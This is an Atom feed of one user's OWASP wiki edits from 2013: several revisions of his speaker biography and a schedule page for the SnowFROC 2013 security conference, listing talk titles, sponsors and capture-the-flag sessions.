<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Alan+Jex</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Alan+Jex"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Alan_Jex"/>
		<updated>2026-05-06T10:10:32Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Alan_Jex&amp;diff=148503</id>
		<title>User:Alan Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Alan_Jex&amp;diff=148503"/>
				<updated>2013-03-25T15:14:24Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for performing penetration tests and implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan graduated from BYU with a B.S. in Computer Science. He participates in the local Salt Lake [https://www.owasp.org/index.php/Salt_Lake OWASP] chapter.&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148502</id>
		<title>Front Range OWASP Conference 2013/Speakers/Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148502"/>
				<updated>2013-03-25T15:09:20Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Alan Jex ==&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
 |- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
 | Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for performing penetration tests and implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan graduated from BYU with a B.S. in Computer Science. He participates in the local Salt Lake [https://www.owasp.org/index.php/Salt_Lake OWASP] chapter. &lt;br /&gt;
 | style=&amp;quot;width: 200px; |&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
 | [[Image:SnowFROC2013_Jex.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
 | [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148501</id>
		<title>Front Range OWASP Conference 2013/Speakers/Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148501"/>
				<updated>2013-03-25T15:06:10Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Alan Jex ==&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
 |- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
 | Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for performing penetration tests and implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan participates in the local Salt Lake [https://www.owasp.org/index.php/Salt_Lake OWASP] chapter. Alan graduated from BYU with a B.S. in Computer Science.&lt;br /&gt;
 | style=&amp;quot;width: 200px; |&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
 | [[Image:SnowFROC2013_Jex.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
 | [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148500</id>
		<title>Front Range OWASP Conference 2013/Speakers/Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148500"/>
				<updated>2013-03-25T15:03:30Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Alan Jex ==&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
 |- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
 | Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan participates in the local Salt Lake [http://www.owasp.org OWASP] chapter. Alan graduated from BYU with a B.S. in Computer Science.&lt;br /&gt;
 | style=&amp;quot;width: 200px; |&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
 | [[Image:SnowFROC2013_Jex.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
 | [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148392</id>
		<title>Front Range OWASP Conference 2013/Speakers/Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148392"/>
				<updated>2013-03-21T23:19:50Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Update experience&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Alan Jex ==&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
 |- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
 | Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on enterprise security products. He worked at Novell as a Senior Software Engineer on desktop and server management. Alan participates in the local [http://www.owasp.org OWASP] chapter. Alan’s interests include tennis, hiking and piano.&lt;br /&gt;
 | style=&amp;quot;width: 200px; |&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
 | [[Image:SnowFROC2013_Jex.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
 | [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148391</id>
		<title>Front Range OWASP Conference 2013/Speakers/Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148391"/>
				<updated>2013-03-21T23:14:18Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Updated links and add more detail&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Alan Jex ==&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
 |- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
 | Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He is responsible for implementing security best practices for the PPS organization on web connected printers. Alan worked at Symantec as a Principle Software Engineer on Enterprise Security Manager (ESM). He worked at Novell as a Senior Software Engineer on ZENworks. Alan is a proponent of the [http://www.owasp.org OWASP] organization. Alan’s interests include tennis, hiking and piano.&lt;br /&gt;
 | style=&amp;quot;width: 200px; |&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
 | [[Image:SnowFROC2013_Jex.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
 | [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148390</id>
		<title>Front Range OWASP Conference 2013/Speakers/Jex</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Speakers/Jex&amp;diff=148390"/>
				<updated>2013-03-21T23:07:43Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Update links&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Alan Jex ==&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width: 100%;&amp;quot;&lt;br /&gt;
 |- valign=&amp;quot;top&amp;quot;&lt;br /&gt;
 | Alan is a Chief Security Architect at [http://www.hp.com HP] and is a CISSP. He worked at Symantec and Novell as a Senior Software Engineer on security enterprise solutions. Alan is a proponent of the [http://www.owasp.org OWASP] organization. Alan’s interests include tennis, hiking and piano.&lt;br /&gt;
 | style=&amp;quot;width: 200px; |&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
 | [[Image:SnowFROC2013_Jex.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
 | [[Image:Noimagen.jpg|160px|alt=Alan Jex|right]]&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Alan Jex</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Schedule&amp;diff=148389</id>
		<title>Front Range OWASP Conference 2013/Schedule</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Front_Range_OWASP_Conference_2013/Schedule&amp;diff=148389"/>
				<updated>2013-03-21T23:02:58Z</updated>
		
		<summary type="html">&lt;p&gt;Alan Jex: Updated presentation title&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;====SnowFROC 2013 schedule====&lt;br /&gt;
This schedule is subject to frequently changes as the conference draws nearer.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==CFP Schedule==&lt;br /&gt;
&lt;br /&gt;
Abstract collection will begin January 14th and continue until all speaking slots are filled. Rolling evaluations will occur and selected papers will be announced each Monday beginning on February 11th.&lt;br /&gt;
&lt;br /&gt;
Final presentations of accepted abstracts must be submitted for review by March 17th. Presentations will be delivered during the conference on March 28th.&lt;br /&gt;
&lt;br /&gt;
(See the [[Front_Range_OWASP_Conference_2013#CFP|CFP]] section for additional dates and details.)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Day of Event Schedule==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:95%; border-collapse:collapse;&amp;quot; border=&amp;quot;1&amp;quot; align=&amp;quot;right&amp;quot;&lt;br /&gt;
 ! style=&amp;quot;width:10%; border-left: 1px solid white; border-top: 1px solid white;&amp;quot; | '''Thu, Mar 28'''&lt;br /&gt;
 ! style=&amp;quot;width:19%; border-bottom: 1px solid black; background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; | Technical Track&lt;br /&gt;
 ! style=&amp;quot;width:19%; border-bottom: 1px solid black; background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | Deep-Dive Track&lt;br /&gt;
 ! style=&amp;quot;width:19%; border-bottom: 1px solid black; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | Management Track&lt;br /&gt;
 ! style=&amp;quot;width:19%; border-bottom: 1px solid black; background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; | Legal Track&lt;br /&gt;
 | style=&amp;quot;border-right: 1px solid white; border-top: 1px solid white;&amp;quot; align=&amp;quot;center&amp;quot; rowspan=&amp;quot;5&amp;quot; |&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 07:00-08:30&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#AEBEC3; color:#024C68&amp;quot; align=&amp;quot;center&amp;quot;  | '''Registration and Morning Snacks''' &amp;lt;br&amp;gt; ''Sponsored by [http://www.hpenterprisesecurity.com.com '''HP''']''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 08:00-08:15&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#E0E0E0&amp;quot; align=&amp;quot;center&amp;quot;  | '''Welcome and Kick-off'''&amp;lt;br&amp;gt; ''[[User:Brad_Carvalho|Brad Carvalho]], [[User:Mark_Major|Mark Major]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 08:15-08:30&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#E0E0E0&amp;quot; align=&amp;quot;center&amp;quot;  | '''State of OWASP'''&amp;lt;br&amp;gt; ''[[Front_Range_OWASP_Conference_2013/Speakers/Manico|Jim Manico]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 08:30-09:30&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#E0E0E0&amp;quot; align=&amp;quot;center&amp;quot;  | '''Keynote Address'''&amp;lt;br&amp;gt; ''[[Front_Range_OWASP_Conference_2013/Speakers/Ziring|Neal Ziring]], Technical Director for the National Security Agency’s Information Assurance Directorate (IAD)''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 09:30-10:00&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#AEBEC3; color:#024C68&amp;quot; align=&amp;quot;center&amp;quot;  | '''Coffee Break and Sponsor Expo''' &amp;lt;br&amp;gt; Coffee provided by [SPONSORSHIP AVAILABLE]&lt;br /&gt;
 | style=&amp;quot;background:#C1DAD6&amp;quot; align=&amp;quot;center&amp;quot; | '''CTF Kick-off'''&amp;lt;br&amp;gt;''[[User:Chris_Rossi|Chris Rossi]], [[User:Mark_Major|Mark Major]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 10:00-10:45&lt;br /&gt;
 | style=&amp;quot;background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Tech1|'''DevFu: The inner ninja in every application developer''' &amp;lt;br&amp;gt; ''Danny Chrastil'']] &lt;br /&gt;
 | style=&amp;quot;background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Tech2|'''SIP Based Cloud Instances''' &amp;lt;br&amp;gt; ''Gregory Disney-Leugers]]''&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Mgmt1|'''Digital Bounty Hunters - Decoding Bug Bounty Programs''' &amp;lt;br&amp;gt; ''Jon Rose]]''&lt;br /&gt;
 | style=&amp;quot;background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess1_Mgmt2|'''Electronic Discovery for System Administrators''' &amp;lt;br&amp;gt; ''Russell Shumway]]''&lt;br /&gt;
 | style=&amp;quot;background:#C1DAD6&amp;quot; align=&amp;quot;center&amp;quot; rowspan=&amp;quot;9&amp;quot; | [[Front_Range_OWASP_Conference_2013/CTF|'''CTF''']] &amp;lt;br&amp;gt; ''Sponsored by [https://aerstone.com '''Aerstone''']''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 10:55-11:40&lt;br /&gt;
 | style=&amp;quot;background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Tech1|'''Adventures in Large Scale HTTP Header Abuse''' &amp;lt;br&amp;gt; ''Zachary Wolff]]''&lt;br /&gt;
 | style=&amp;quot;background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Tech2|'''How Malware Attacks Web Applications''' &amp;lt;br&amp;gt; ''Casey Smith]]''&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Mgmt1|'''Linking Security to Business Value in the Customer Service Industry''' &amp;lt;br&amp;gt; ''Dan Rojas]]''&lt;br /&gt;
 | style=&amp;quot;background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess2_Mgmt2|'''Legal Issues of Forensics in the Cloud''' &amp;lt;br&amp;gt; ''David Willson]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 11:40-12:40&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#AEBEC3; color:#024C68&amp;quot; align=&amp;quot;center&amp;quot; | '''Lunch and Sponsor Expo''' &amp;lt;br&amp;gt; Lunch provided by [SPONSORSHIP AVAILABLE]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 12:40-13:25&lt;br /&gt;
 | style=&amp;quot;background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Tech1|'''Angry Cars: Hacking the &amp;quot;Car as Platform&amp;quot;''' &amp;lt;br&amp;gt; ''Aaron Weaver]]''&lt;br /&gt;
 | style=&amp;quot;background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Tech2|'''Top Ten Web Application Defenses''' &amp;lt;br&amp;gt; ''Jim Manico]]''&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Mgmt1|'''Using SaaS and the Cloud to Secure the SDLC''' &amp;lt;br&amp;gt; ''Andrew Earle]]''&lt;br /&gt;
 | style=&amp;quot;background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess3_Mgmt2|'''CISPA: Why Privacy Advocates This Legislation''' &amp;lt;br&amp;gt; ''Maureen Donohue Feinroth]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 13:35-14:20&lt;br /&gt;
 | style=&amp;quot;background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Tech1|'''DevOps and Security: It's Happening. Right Now.''' &amp;lt;br&amp;gt; ''Helen Bravo]]''&lt;br /&gt;
 | style=&amp;quot;background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Tech2|'''A Demo of and Preventing XSS in .NET Applications''' &amp;lt;br&amp;gt; ''Larry Conklin]]''&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Mgmt1|'''Measuring Security Best Practices With OpenSAMM''' &amp;lt;br&amp;gt; ''Alan Jex]]''&lt;br /&gt;
 | style=&amp;quot;background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Mgmt2|'''Crafting a Plan for When Security Fails''' &amp;lt;br&amp;gt; ''Robert Lelewski]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 14:30-15:15&lt;br /&gt;
 | style=&amp;quot;background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess4_Tech1|'''Real World Cloud Application Security''' &amp;lt;br&amp;gt; ''Jason Chan]]''&lt;br /&gt;
 | style=&amp;quot;background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Tech2|'''Data Mining a Mountain of Zero Day Vulnerabilities''' &amp;lt;br&amp;gt; ''Joe Brady]]''&lt;br /&gt;
 | style=&amp;quot;background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Mgmt1|'''Defending Desktop (.NET/C#) Applications: Mitigating in the Dark (A Case Study Remix)''' &amp;lt;br&amp;gt; ''Jon McCoy]]''&lt;br /&gt;
 | style=&amp;quot;background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; | [[Front_Range_OWASP_Conference_2013/Sessions/Sess5_Mgmt2|'''Information Control: The Critical Need for a Defensible Position - Securing the Information Ecosystem''' &amp;lt;br&amp;gt; ''Tom Glanville]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 15:15-15:45&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#AEBEC3; color:#024C68&amp;quot; align=&amp;quot;center&amp;quot;  | '''Coffee Break and Sponsor Expo''' &amp;lt;br&amp;gt; Coffee provided by [SPONSORSHIP AVAILABLE]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 15:45-16:45&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#E0E0E0&amp;quot; align=&amp;quot;center&amp;quot;  | '''Moderated Panel Discussion''' ''&lt;br /&gt;
    Panelist Name, Company &amp;amp; Title&lt;br /&gt;
    Panelist Name, Company &amp;amp; Title&lt;br /&gt;
    Panelist Name, Company &amp;amp; Title&lt;br /&gt;
    Moderator: [[Front_Range_OWASP_Conference_2013/Speakers/Manico|Jim Manico]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 16:45-17:00&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#E0E0E0&amp;quot; align=&amp;quot;center&amp;quot;  | '''Closing Statements'''&amp;lt;br&amp;gt;''[[User:Brad_Carvalho|Brad Carvalho]], [[User:Mark_Major|Mark Major]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 17:00-&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#E0E0E0&amp;quot; align=&amp;quot;center&amp;quot;  | '''Sponsor Raffles, Drawings, and Contests'''&lt;br /&gt;
 | style=&amp;quot;background:#C1DAD6&amp;quot; align=&amp;quot;center&amp;quot; | '''CTF Wrap-Up'''&amp;lt;br&amp;gt;''[[User:Chris_Rossi|Chris Rossi]], [[User:Mark_Major|Mark Major]]''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 19:00-22:00+&lt;br /&gt;
 | colspan=&amp;quot;4&amp;quot; style=&amp;quot;background:#AEBEC3; color:#024C68&amp;quot; align=&amp;quot;center&amp;quot;  | '''After-party at [http://denverpoolhall.com/ Tarantula Billiards]''' &amp;lt;br&amp;gt; ''Sponsored by [https://www.appliedtrust.com '''AppliedTrust''']'' &amp;lt;br&amp;gt; ''Tarantula is located 3 blocks from the Marriott at the corner of 15th and Stout (1520 Stout Street, Denver)''&lt;br /&gt;
 | style=&amp;quot;background:#C1DAD6&amp;quot; align=&amp;quot;center&amp;quot; | '''Awards Ceremony''' ''at [http://denverpoolhall.com/ Tarantula]'' (20:00)&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;border-left: 1px solid white; border-right: 1px solid white; border-bottom: 1px solid white; border-top: 1px solid black;&amp;quot; | &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
 | style=&amp;quot;border-left: 1px solid white; border-right: 1px solid white;&amp;quot; colspan=&amp;quot;4&amp;quot; |&lt;br /&gt;
 | style=&amp;quot;border-left: 1px solid white; border-right: 1px solid white; border-bottom: 1px solid white&amp;quot; |&lt;br /&gt;
 |-&lt;br /&gt;
 ! style=&amp;quot;border-left: 1px solid white; border-top: 1px solid white;&amp;quot; | '''Fri, Mar 29'''&lt;br /&gt;
 ! style=&amp;quot;border-bottom: 1px solid black; background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; | Training&lt;br /&gt;
 ! style=&amp;quot;border-bottom: 1px solid black; background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | Birds of a Feather: A&lt;br /&gt;
 ! style=&amp;quot;border-bottom: 1px solid black; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | Birds of a Feather: B&lt;br /&gt;
 ! style=&amp;quot;border-bottom: 1px solid black; background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; | Capture the Flag&lt;br /&gt;
 | style=&amp;quot;border-right: 1px solid white; border-bottom: 1px solid white;&amp;quot; rowspan=&amp;quot;6&amp;quot; |&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 09:00-9:45&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#E8D0A9&amp;quot; align=&amp;quot;center&amp;quot; rowspan=&amp;quot;5&amp;quot; | Secure Coding&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf1a}} ''([[Front_Range_OWASP_Conference_2013/boaf1a|edit]])''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf1b}} ''([[Front_Range_OWASP_Conference_2013/boaf1b|edit]])''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; rowspan=&amp;quot;2&amp;quot; | FLOSSHack: CTF VM&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 10:00-10:45&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf2a}} ''([[Front_Range_OWASP_Conference_2013/boaf2a|edit]])''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf2b}} ''([[Front_Range_OWASP_Conference_2013/boaf2b|edit]])''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 10:45-11:15&lt;br /&gt;
 | colspan=&amp;quot;3&amp;quot; style=&amp;quot;background:#AEBEC3; color:#024C68&amp;quot; align=&amp;quot;center&amp;quot; | '''Coffee Break'''&amp;lt;br&amp;gt;Provided by [SPONSORSHIP AVAILABLE]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:10%; background:#024C68; color:white&amp;quot; align=&amp;quot;center&amp;quot; | 11:15-12:00&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#DFC184&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf3a}} ''([[Front_Range_OWASP_Conference_2013/boaf3a|edit]])''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#F2F2F2&amp;quot; align=&amp;quot;center&amp;quot; | {{:Front_Range_OWASP_Conference_2013/boaf3b}} ''([[Front_Range_OWASP_Conference_2013/boaf3b|edit]])''&lt;br /&gt;
 | style=&amp;quot;width:20%; background:#B7AFA3&amp;quot; align=&amp;quot;center&amp;quot; rowspan=&amp;quot;2&amp;quot; | FLOSSHack: CTF Scoreboard&lt;br /&gt;
 |-&lt;br /&gt;
